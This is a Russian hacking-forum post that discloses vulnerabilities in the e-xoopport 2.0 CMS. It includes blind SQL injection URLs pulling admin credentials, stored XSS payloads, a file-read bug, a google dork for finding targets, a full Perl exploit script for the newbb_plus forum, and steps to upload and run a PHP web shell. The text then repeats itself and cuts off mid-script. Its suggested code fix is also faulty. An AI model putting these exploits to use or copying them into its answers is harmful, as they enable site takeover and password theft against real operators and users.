The matrix
05.01.2009, 13:41
:::Уязвимости e-xoopport (v 2.0):::
Вродь нигде не рассматривалось ещё. Чтож выложу найденные мною уязвимости.
:::интересные моменты:::
1)При установке движок рекомендует включить register_globals, это неоднократно сыграет нам на руку ;)
2)Движок полностью компонентный. Компоненты news и system и некоторые другие установлены всегда поэтому найти в них уязвимости будет нашей главной задачей, в этих компонентах гораздо меньше грубых ошибок чем в остальных компонентах, но они присутствуют. ниже я все опишу.
3) google dork: powered by e-xoopport
:::Обзор простых компонентов:::
:::module sections <== 1.55:::
Вырезка... Бажного кода. index.php
function listarticles($secid) {
global $xoopsUser, $xoopsModule, $sectionsConfig, $db, $myts, $_GET, $andclause;
$access = new groupAccess('listarticles');
$access->loadGroups($secid, 'secid', _MI_NSECTIONS_TABLE);
if ( !$access->checkGroups(1) ) {
redirect_header("javascript:history.go(-1)", 3, _NOPERM);
exit();
}
$result = $db->query("SELECT secname, image FROM ".$db->prefix(_MI_NSECTIONS_TABLE)." WHERE secid=$secid");
switch($op) {
case "viewarticle":
viewarticle($artid, $page);
break;
case "listarticles":
listarticles($secid);
break;
case "printpage":
PrintSecPage($artid);
break;
default:
listsections();
break;
}
присвоив значение $op="listarticles" мы вызовем listarticles
и Мы сможем определить значение $secid, которая участвует в sql запросе. Вызов происходит в этом же скрипте результат всего этого наблюдаем ниже.
more 1 row blind sql inj
http://localhost/modules/sections/index.php?op=listarticles&secid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*
:::module banners:::
Тут проще некуда уязвим скрипт click.php при врубленом регистер глобалс(а он должен быть врублен) мы переопределяем значение $bid. И и собственно вызываем запрос к бд, который выполняется в этом же скрипте.
if ($_GET['bid']) {
$bid = $_GET['bid'];
$result = $db->query("SELECT clickurl FROM ".$db->prefix("banner_items")." WHERE bid=$bid");
list($clickurl) = $db->fetch_row($result);
if ($clickurl) {
if ( !isset($_COOKIE['banners'][$bid]) ) {
cookie("banners[$bid]", $bid, 86400);
$db->query("UPDATE ".$db->prefix("banner_items")." SET clicks=clicks+1 WHERE bid=$bid");
}
наблюдаем результат ниже
http://localhost/modules/banners/click.php?bid=0+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*
:::module mydownloads <== 1.0.2:::
Ужасный код заныкался в файле singlefile.php точнее не совсем в нем. А в нем инклуд) а инклудит он во второй строчке
include_once("./class/download.class.php");
вырезка функции.
function isAccessible($lid) {
global $db,$xoopsUser;
if ($xoopsUser) {
$groups = $xoopsUser->groups();
} else {
$groups = XoopsGroup::getByType("Anonymous");
}
$query = "select count(*) from ".$db->prefix("mydownloads_downloads")." where lid = $lid and (";
$first = true;
foreach ( $groups as $group ) {
if (!$first) {
$query.= " or ";
}
if ( $first == true ) { $first = false; }
$query.= "groups like '%$group%'";
}
$query.= ")";
$result = $db->query($query);
list($ret) = $db->fetch_row($result);
if ( $ret > 0 ) {
return true;
} else {
return false;
}
}
тут уже все придумано и запущено. Определяем $lid и имеем инжект и нам просто плевать на то, что в самом Singlefile.php
$lid = intval($_GET['lid']);
Все что нам нужно было выполнилось первее. А результат sql inj опять же blind.
http://localhost/modules/mydownloads/singlefile.php?lid=0+and+1=if(ascii(substring((sel ect concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))<1,(select 1 union select 2),2)/*
:::module chat <== 2.05:::
как вы догадались это чат. А болезнь этого чата-XSS
Данные практически не фильртуются(кроме кавычки, но это не такая и большая проблема) Заходим в любую комнату вводим в сообщение
<img src=javascript:alert(2)>
И таким вот образом выполняем свой ява код.
:::module VideoXP:::
Баг в старых версиях есть
Не новый модуль... Баг в скрипте video.php
Обычная fopen читалка
http://localhost/modules/videoxp/video.php?v=[file]
____________
Пока проверил только эти компоненты(из простых) кто хочет может потренироваться. Не такие и труднонаходимые там баги.
:::Обзор основных и популярных компонентов.:::
:::XSS в профайле:::
http://localhost/edituser.php
представляет собой post форму. Данные не фильтруются.
Удобнее всего вставлять свой скрипт в поле "Дополнительная информация"
вставим
<img src=javascript:alert(1)>
И ява код выполнится действует как активная XSS.
:::component messenger:::
Компонент позволяет обмениваться между зарегестрированными пользователями личными сообщениями. И опять же XSS данные не фильтруются никак. то есть если мы зашлем сообщение с содержанием <img src=javascript:alert(1)> , то у прочитавшего вылетит алерт. Осталось привести скрипт в боевое состояние и ожидать его открытия.
:::module newbb_plus <== 0.70:::
А это борда под двиган. И она уязвима.
Уязвимость в скрипте viewtopic.php
Проверка $post_id происходит не правильно. Мы спокойно можем определить эту переменную.
Кусок кода постараюсь в кратце
if ( isset($post_id) && $post_id != "" ) {
$forumpost = new ForumPosts($post_id);
} else {
$forumpost = new ForumPosts();
}
Такая проверка не годится. Видимо невнимательность авторов. Безопасный скрипт должен выглядить так(Исправить то немного надо):
if ( !isset($post_id) && $post_id != "" ) {
$forumpost = new ForumPosts($post_id);
} else {
$forumpost = new ForumPosts();
}
А результат-exploit Приведу его ниже.
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use Time::HiRes qw(sleep);
############################
# options #
############################
#Опции и переменные
getopt("d:h:i:q:p:t:u:P:F:T");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_T) {
&logo();
exit();
}
if (!$opt_F) {
&logo();
exit();
}
$n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD)
$host=$opt_h;
$forum=$opt_F;
$topic=$opt_T;
$dira2=$opt_d if $opt_d;
$uid=1;
$err="mysql_fetch_array()";
$uid=$opt_i if $opt_i;
$zapr='concat(uname,0x3a,pass)';
$zapr=$opt_q if $opt_q;
$prefix='ex_';
$prefix=$opt_P if $opt_P;
$dira=$dira2."/modules/newbb_plus";
$page2="/viewtopic.php?topic_id=".$topic."&forum=".$forum."";
#аутефикационные данные
$user=$opt_u;
$pass=$opt_p;
#############################
#метод посылки. По умолчанию get.
$method='get';
$method=$opt_t if $opt_t;
#############################
# head #
#############################
# Имхо морда
sub logo()
{
print
"\t\t
################################################## #########################
############ module newbb forum e-xooport #
############ coddddeeddd by The matrix (antichat.ru) #
################################################## #########################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] #
# -P [db prefix(default ex_)] #
# -i [user id] deafault 1 #
# -q [column(default concat(uname,0x3a,pass)] #
# -u [username] #
# -p [password] #
# -t [method] #
# -F [forum] #
# -T [topic] #
# exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1 -P pref_ #
# -i 2 #
# #
# #
################################################## #########################\n\n";
}
#############################
# auth #
#############################
#создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^)
sub auth() {
print" [~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='login';
$page1='user.php';
$answer=$client->post(
"http://".$host.$dira2.$page1,
[
'uname' => $user,
'pass' => $pass,
'op'=> $op
]
) ;
}
#############################
# тестируем печеньки #
#############################
#В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу.
sub test() {
$response = $client->get("http://".$host.$dira2.$page1
);
$ans = $response->content;
if ($ans =~ /edituser/){
print" [+]login complete";
}
else {
print " [-]login failed";
}
}
&logo();
&auth();
&test();
############################
# Сердце эксплойта #
############################
# Создадим удобный сендер и приемщик. понадобится изменять всего две переменные
sub main {
($method,$evil)=@_;
$response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil."");
$ans = $response->content;
$n++;
}
###########################
# баг-тестер #
###########################
#Проверим наш форум на уязвимость.
sub testvuln() {
#Протестим на уязвимость
print "\n [~]testing vulnerability";
main($method,'1+and+1=(select 1 union select 2)--');
if ($ans =~ /$err/) {
print "\n [+]yes!!! forum vulnerabile";
}
else {
print "\n [-]forum unvulnerabile";
exit();
}
}
##########################
# префикс-тестер #
##########################
# Остановим процесс если префикс выбран не правильно
sub testprefix()
#протестим префикс
{
print"\n [~]testing prefix";
main($method,'1+and+1=if(ascii(substring((select 1 from '.$prefix.'users limit 1),1,1))=48,(select 1 union select 2),1)--');
if ($ans =~ /$err/) {
print "\n [-]prefix incorrect";
exit();
}
else {
print "\n [+]yes prefix correct";
}
}
###########################
# символьный тестер #
###########################
#найдем количество символов, чтоб при бруте лишний раз не париться
sub symbols() {
$i=1;
$ans=$err;
print"\n [~]seach symbols please wait\n";
while ($ans =~ /$err/) {
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>1,(select 1 union select 2),1)--');
$i=$i+1;
if ($i > 60) {
print "\n [-]error";
exit
}
$lenght=$i-2;
}
print "\n [+] found $lenght symbols\n";
}
############################
# Брутфорсер #
############################
# Постараюсь придумать алгоритм по проще, вдруг на моей базе тож эксплойт напишут :DD
# Диапазон укоротим, так как имя пользователя не состоит из спец. символов
# Но сделаем так, чтоб диапазон составлял 80. Это вещественное число кратно 16 то есть 4 раза делится на 2
# и нам не придется выделять целую часть, если число в процессе не будет делиться без остатка.
# используем возможности мягкого брутфорса по максимуму! Нам не нужно много запросов. Эксплойт должен быть быстрый и четкий.
sub bruteforce() {
print"\n [~]start bruteforce please wait\n";
print "[+]result: ";
for ($i=1; $i<=$lenght; $i=$i+1) {
$suprenum1=122;
$infium1=42;
$kol=82;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
if ($ans =~ /$err/) {
$kol=$kol+20;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-20;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+10;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-10;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+5;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-5;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+3;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-3;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+2;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-2;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+1;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-1;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
brute($kol,$i);
}
}
#########################
# Грубый брутфорсер #
#########################
# Если диапазон меньше 3 то начинаем грубый перебор
# создадим удобную функцию
sub brute {
($kol,$i)=@_;
$ans=$err;
$kol=$kol-1;
while ($ans =~ /$err/) {
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>='.$kol.',(select 1 union select 2),1)--');
$kol=$kol+1;
}
$smb=chr($kol-2);
print"$smb";
}
########################
&testvuln();
&testprefix();
&symbols();
&bruteforce();
print"\n[~]querryes:$n";
объясняю что к чему.
1) Иногда для работы требуется авторизация. Эта функция в эксплойте реализована. Регаем аккаунт. И подставляем в эксплойт так -u [user] -p [password]
авторизация требуется не всегда, так что если не нужно можно не указывать имя и пароль от аккаунта эксплойт от этого работу завершать не будет.
Если логин прошел успешно нам выдадет
2) Требуется указать... Валидные занчения forum topic_id и post_id, чтоб была возможность выделения логических да и нет. так -F [существующее значение параметра forum] -T [существующее значение параметра topic_id] -I [Существующее значение параметра post_id]
[+]login complete
если нет, то
[-]login failed
С чем могут возникнуть проблемы:
[-]forum unvulnerabile
это значит:
1) либо форум неуязвим.
2) Логические "да" и "Нет" для посимвольного брута выделить не получилось.
Во втором случае просто код страницы никогда не бывает постоянным там пишется ещё время генерации а оно постоянно меняется и в разных версиях форум на наши действия реагирует по разному поэтому также добиться постоянных логических да и нет не получится. За основу эксплойта взят алгоритм more 1 row правда ошибка не очень характерна для него, но алгоритм этот. Но бывают сбои если что не так, вам придется самим править переменную $err которая за весь процесс этот и отвечает. Но проблема эта возникает не часто.
[-]prefix incorrect
Значит префикс отличен от того, что использует эксплойт используйте -P [ваш префикс] чтобы использовать префикс отличный от стандартного.
[-]error
Это вылезет, если вы перемудрили с запросом. стандартный вид запроса concat(uname,0x3a,pass)
ответ не должен превышать 60 символов.
Ну вот собственно пока все.
:::мелочные дыры:::
Тут я рассмотрю уязвимости в админках(они нам тоже пригодятся ниже узнаете для чего) и другие уязвимости, которые довольно пассивным образом помогают нам повысить свои привилегии.
Баги все очень простые поэтому без лишних вставок все продемкаю.
1)
http://localhost/modules/messenger/index.php?sort=0'
по сути переопределяется переменная проблема в вызове. Она учавствует в sql запросе. Но она в limit'e поэтому в лучшем случае мы всего лишь раскроем пути.
2)
http://localhost/denwer//news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18/*
Компонент news всегда установлен. Это нам на руку.
3)
компонент System слепая sql inj
http://localhost/denwer/xoo/modules/system/admin.php?fct=modulesadmin&op=edit&mid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*
вторая конечно важнее так как она зрячая.
:::дополнения:::
:::генерация сессии:::
Генерируется не хитроумно. Но проблемы нам такая генерация создать может.
в генерации участвует наш id, наше имя, хеш пароля а также юзер агент и remote adr . первые 3 величины и так определены user agent можно подделать а вот remote adr-это уже серьезно. То есть если мы стянем куки, мы сможем скосить под админа только если мы подделаем user agent и remote adr... агента как я писал подделаем а второе - это по сути привязка к ip. Тут летят все стандартные методы проведения XSS, но это не сильная проблема, так как раз авторизовавшись(под админом), мы можем бродить по админским разделам не зная пароля попахивает XSRF, это уже серьезнее. А если такое счастье есть, то стандартные методы проведения XSS нам даже не нужны можно без проблем добавить нового пользователя с правами админа. Чуть позже я планирую показать как это реализуется в данном движке.
:::Как выполнить php код?:::
Я нашел несколько способов.
Нужны права админа.
1)
Идем в админку
Идем в закладку файл(если таковой нет, идем в компоненты и устанавливаем компонент mydownloads)=>добавить/редактировать файл=>пишем в поля всякий бред и в качестве скриншота прикрепляем свой шелл
шелл будет доступен по адресу
http://site/modules/mydownloads/cache/images/shots/имя шелла.php
2) Это способ более универсален
идем в админку
если компонент newbb_plus не установлен, устанавливаем его. Идем в закладку форум=>менеджер форумов=>добавляем forum и subforum=>заполняем поля и в конце выбираем "да" напротив "Разрешить прикреплять файлы" добавляем расширение php. => создаем => идем на форум создаем топик и прикрепляем файл, он будет доступен только для скачивания, чтоб выполнить нужно узнать путь, а путь: "http://site/modules/newbb_plus/cache/attachments", Но имя файла генерируется в зависимости от времени и угадать имя врядли выйдет имя аттача имеет вид такого рода:1_1231064445.php . Весь этот процесс происходит не баз помощи sql . Имена файлов хранятся в базе данных и если у нас есть возможность выполнять Sql запросы мы без труда узнаем имя нашего аттача. Тут то нам и нужна Sql инъекция. Будем использовать инъект в модуле news в админке так как он всегда установлен пусть ссылка на скачку нашего аттача выглядит так http://localhost/denwer/xoo/modules/newbb_plus/dl_attachment.php?attachid=7
=> используем sql inj http://localhost/denwer/xoo/modules/news/admin/index.php?op=edit&storyid=-4+union+select+1,2,3,4,5,6,7,8,9,attachment,11,12, 13,14,15,16,17,18+from+ex_bbplus_posts+where+post_ id=7/*
И вуля имя нашего шелла нам выводится на экран. Осталось дойти до него и все.
http://site/modules/newbb_plus/cache/attachments/имя_шелла.php
3)
Но есть много ограничений
системное администрирование=>Блоки=>Добавляем блок=>Редактируем его=>Ниже выбираем php код и пишем в поле выше свой php код=>Жмякаем предварительный просмотр и наблюдаем результат выполнения.
На этом все также я снял видео в котором показываю некоторые уязвимости этого движка а также залитие шелла.
видео к данному обзору тут: http://forum.antichat.ru/showthread.php?p=1036854#post1036854
На момент написания, уязвимостей под этот движок на паблик багтрэках я не видел.
(c) The matrix
Специально для багтрэка античат.ру.
Вродь нигде не рассматривалось ещё. Чтож выложу найденные мною уязвимости.
:::интересные моменты:::
1)При установке движок рекомендует включить register_globals, это неоднократно сыграет нам на руку ;)
2)Движок полностью компонентный. Компоненты news и system и некоторые другие установлены всегда поэтому найти в них уязвимости будет нашей главной задачей, в этих компонентах гораздо меньше грубых ошибок чем в остальных компонентах, но они присутствуют. ниже я все опишу.
3) google dork: powered by e-xoopport
:::Обзор простых компонентов:::
:::module sections <== 1.55:::
Вырезка... Бажного кода. index.php
function listarticles($secid) {
global $xoopsUser, $xoopsModule, $sectionsConfig, $db, $myts, $_GET, $andclause;
$access = new groupAccess('listarticles');
$access->loadGroups($secid, 'secid', _MI_NSECTIONS_TABLE);
if ( !$access->checkGroups(1) ) {
redirect_header("javascript:history.go(-1)", 3, _NOPERM);
exit();
}
$result = $db->query("SELECT secname, image FROM ".$db->prefix(_MI_NSECTIONS_TABLE)." WHERE secid=$secid");
switch($op) {
case "viewarticle":
viewarticle($artid, $page);
break;
case "listarticles":
listarticles($secid);
break;
case "printpage":
PrintSecPage($artid);
break;
default:
listsections();
break;
}
присвоив значение $op="listarticles" мы вызовем listarticles
и Мы сможем определить значение $secid, которая участвует в sql запросе. Вызов происходит в этом же скрипте результат всего этого наблюдаем ниже.
more 1 row blind sql inj
http://localhost/modules/sections/index.php?op=listarticles&secid=1+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*
:::module banners:::
Тут проще некуда уязвим скрипт click.php при врубленом регистер глобалс(а он должен быть врублен) мы переопределяем значение $bid. И и собственно вызываем запрос к бд, который выполняется в этом же скрипте.
if ($_GET['bid']) {
$bid = $_GET['bid'];
$result = $db->query("SELECT clickurl FROM ".$db->prefix("banner_items")." WHERE bid=$bid");
list($clickurl) = $db->fetch_row($result);
if ($clickurl) {
if ( !isset($_COOKIE['banners'][$bid]) ) {
cookie("banners[$bid]", $bid, 86400);
$db->query("UPDATE ".$db->prefix("banner_items")." SET clicks=clicks+1 WHERE bid=$bid");
}
наблюдаем результат ниже
http://localhost/modules/banners/click.php?bid=0+and+1=if(ascii(substring((select concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))>1,(select 1 union select 2),2)/*
:::module mydownloads <== 1.0.2:::
Ужасный код заныкался в файле singlefile.php точнее не совсем в нем. А в нем инклуд) а инклудит он во второй строчке
include_once("./class/download.class.php");
вырезка функции.
function isAccessible($lid) {
global $db,$xoopsUser;
if ($xoopsUser) {
$groups = $xoopsUser->groups();
} else {
$groups = XoopsGroup::getByType("Anonymous");
}
$query = "select count(*) from ".$db->prefix("mydownloads_downloads")." where lid = $lid and (";
$first = true;
foreach ( $groups as $group ) {
if (!$first) {
$query.= " or ";
}
if ( $first == true ) { $first = false; }
$query.= "groups like '%$group%'";
}
$query.= ")";
$result = $db->query($query);
list($ret) = $db->fetch_row($result);
if ( $ret > 0 ) {
return true;
} else {
return false;
}
}
тут уже все придумано и запущено. Определяем $lid и имеем инжект и нам просто плевать на то, что в самом Singlefile.php
$lid = intval($_GET['lid']);
Все что нам нужно было выполнилось первее. А результат sql inj опять же blind.
http://localhost/modules/mydownloads/singlefile.php?lid=0+and+1=if(ascii(substring((sel ect concat(uname,0x3a,pass) from exe_users where uid=1 limit 1),1,1))<1,(select 1 union select 2),2)/*
:::module chat <== 2.05:::
как вы догадались это чат. А болезнь этого чата-XSS
Данные практически не фильртуются(кроме кавычки, но это не такая и большая проблема) Заходим в любую комнату вводим в сообщение
<img src=javascript:alert(2)>
И таким вот образом выполняем свой ява код.
:::module VideoXP:::
Баг в старых версиях есть
Не новый модуль... Баг в скрипте video.php
Обычная fopen читалка
http://localhost/modules/videoxp/video.php?v=[file]
____________
Пока проверил только эти компоненты(из простых) кто хочет может потренироваться. Не такие и труднонаходимые там баги.
:::Обзор основных и популярных компонентов.:::
:::XSS в профайле:::
http://localhost/edituser.php
представляет собой post форму. Данные не фильтруются.
Удобнее всего вставлять свой скрипт в поле "Дополнительная информация"
вставим
<img src=javascript:alert(1)>
И ява код выполнится действует как активная XSS.
:::component messenger:::
Компонент позволяет обмениваться между зарегестрированными пользователями личными сообщениями. И опять же XSS данные не фильтруются никак. то есть если мы зашлем сообщение с содержанием <img src=javascript:alert(1)> , то у прочитавшего вылетит алерт. Осталось привести скрипт в боевое состояние и ожидать его открытия.
:::module newbb_plus <== 0.70:::
А это борда под двиган. И она уязвима.
Уязвимость в скрипте viewtopic.php
Проверка $post_id происходит не правильно. Мы спокойно можем определить эту переменную.
Кусок кода постараюсь в кратце
if ( isset($post_id) && $post_id != "" ) {
$forumpost = new ForumPosts($post_id);
} else {
$forumpost = new ForumPosts();
}
Такая проверка не годится. Видимо невнимательность авторов. Безопасный скрипт должен выглядить так(Исправить то немного надо):
if ( !isset($post_id) && $post_id != "" ) {
$forumpost = new ForumPosts($post_id);
} else {
$forumpost = new ForumPosts();
}
А результат-exploit Приведу его ниже.
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use Time::HiRes qw(sleep);
############################
# options #
############################
#Опции и переменные
getopt("d:h:i:q:p:t:u:P:F:T");
if (!$opt_h) {
&logo();
exit();
}
if (!$opt_T) {
&logo();
exit();
}
if (!$opt_F) {
&logo();
exit();
}
$n=0; # счетчик количества запросов (насколько сильно мы загадили ло мускула :DDD)
$host=$opt_h;
$forum=$opt_F;
$topic=$opt_T;
$dira2=$opt_d if $opt_d;
$uid=1;
$err="mysql_fetch_array()";
$uid=$opt_i if $opt_i;
$zapr='concat(uname,0x3a,pass)';
$zapr=$opt_q if $opt_q;
$prefix='ex_';
$prefix=$opt_P if $opt_P;
$dira=$dira2."/modules/newbb_plus";
$page2="/viewtopic.php?topic_id=".$topic."&forum=".$forum."";
#аутефикационные данные
$user=$opt_u;
$pass=$opt_p;
#############################
#метод посылки. По умолчанию get.
$method='get';
$method=$opt_t if $opt_t;
#############################
# head #
#############################
# Имхо морда
sub logo()
{
"\t\t
################################################## #########################
############ module newbb forum e-xooport #
############ coddddeeddd by The matrix (antichat.ru) #
################################################## #########################
# usage: exploit.pl #
#-h [host] #
# -d[path with site] #
# -P [db prefix(default ex_)] #
# -i [user id] deafault 1 #
# -q [column(default concat(uname,0x3a,pass)] #
# -u [username] #
# -p [password] #
# -t [method] #
# -F [forum] #
# -T [topic] #
# exploit.pl -h http://site -d /dir/ -u evil -p qwer -F 1 -T 1 -P pref_ #
# -i 2 #
# #
# #
################################################## #########################\n\n";
}
#############################
# auth #
#############################
#создадим клиента с валидными печеньками(если есть из чего создавать их конечно ^_^)
sub auth() {
print" [~]login\n";
my $browser = LWP::UserAgent->new;
$client = LWP::UserAgent->new();
$cookie_jar = HTTP::Cookies->new();
$client->cookie_jar($cookie_jar);
$op='login';
$page1='user.php';
$answer=$client->post(
"http://".$host.$dira2.$page1,
[
'uname' => $user,
'pass' => $pass,
'op'=> $op
]
) ;
}
#############################
# тестируем печеньки #
#############################
#В некоторых случаях авторизация не нужна. Поэтому если вы не хотите логиниться, эксплойт все равно продолжит работу.
sub test() {
$response = $client->get("http://".$host.$dira2.$page1
);
$ans = $response->content;
if ($ans =~ /edituser/){
print" [+]login complete";
}
else {
print " [-]login failed";
}
}
&logo();
&auth();
&test();
############################
# Сердце эксплойта #
############################
# Создадим удобный сендер и приемщик. понадобится изменять всего две переменные
sub main {
($method,$evil)=@_;
$response = $client->$method("http://".$host.$dira.$page2."&post_id=".$evil."");
$ans = $response->content;
$n++;
}
###########################
# баг-тестер #
###########################
#Проверим наш форум на уязвимость.
sub testvuln() {
#Протестим на уязвимость
print "\n [~]testing vulnerability";
main($method,'1+and+1=(select 1 union select 2)--');
if ($ans =~ /$err/) {
print "\n [+]yes!!! forum vulnerabile";
}
else {
print "\n [-]forum unvulnerabile";
exit();
}
}
##########################
# префикс-тестер #
##########################
# Остановим процесс если префикс выбран не правильно
sub testprefix()
#протестим префикс
{
print"\n [~]testing prefix";
main($method,'1+and+1=if(ascii(substring((select 1 from '.$prefix.'users limit 1),1,1))=48,(select 1 union select 2),1)--');
if ($ans =~ /$err/) {
print "\n [-]prefix incorrect";
exit();
}
else {
print "\n [+]yes prefix correct";
}
}
###########################
# символьный тестер #
###########################
#найдем количество символов, чтоб при бруте лишний раз не париться
sub symbols() {
$i=1;
$ans=$err;
print"\n [~]seach symbols please wait\n";
while ($ans =~ /$err/) {
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>1,(select 1 union select 2),1)--');
$i=$i+1;
if ($i > 60) {
print "\n [-]error";
exit
}
$lenght=$i-2;
}
print "\n [+] found $lenght symbols\n";
}
############################
# Брутфорсер #
############################
# Постараюсь придумать алгоритм по проще, вдруг на моей базе тож эксплойт напишут :DD
# Диапазон укоротим, так как имя пользователя не состоит из спец. символов
# Но сделаем так, чтоб диапазон составлял 80. Это вещественное число кратно 16 то есть 4 раза делится на 2
# и нам не придется выделять целую часть, если число в процессе не будет делиться без остатка.
# используем возможности мягкого брутфорса по максимуму! Нам не нужно много запросов. Эксплойт должен быть быстрый и четкий.
sub bruteforce() {
print"\n [~]start bruteforce please wait\n";
print "[+]result: ";
for ($i=1; $i<=$lenght; $i=$i+1) {
$suprenum1=122;
$infium1=42;
$kol=82;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
if ($ans =~ /$err/) {
$kol=$kol+20;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-20;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+10;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-10;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+5;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-5;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+3;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-3;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+2;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-2;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
if ($ans =~ /$err/) {
$kol=$kol+1;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
else {
$kol=$kol-1;
main($method,'1+and+1=if(ascii(substring((select '.$zapr.' from '.$prefix.'users where uid='.$uid.' limit 1),'.$i.',1))>'.$kol.',(select 1 union select 2),1)--');
}
brute($kol,$i);
}
}
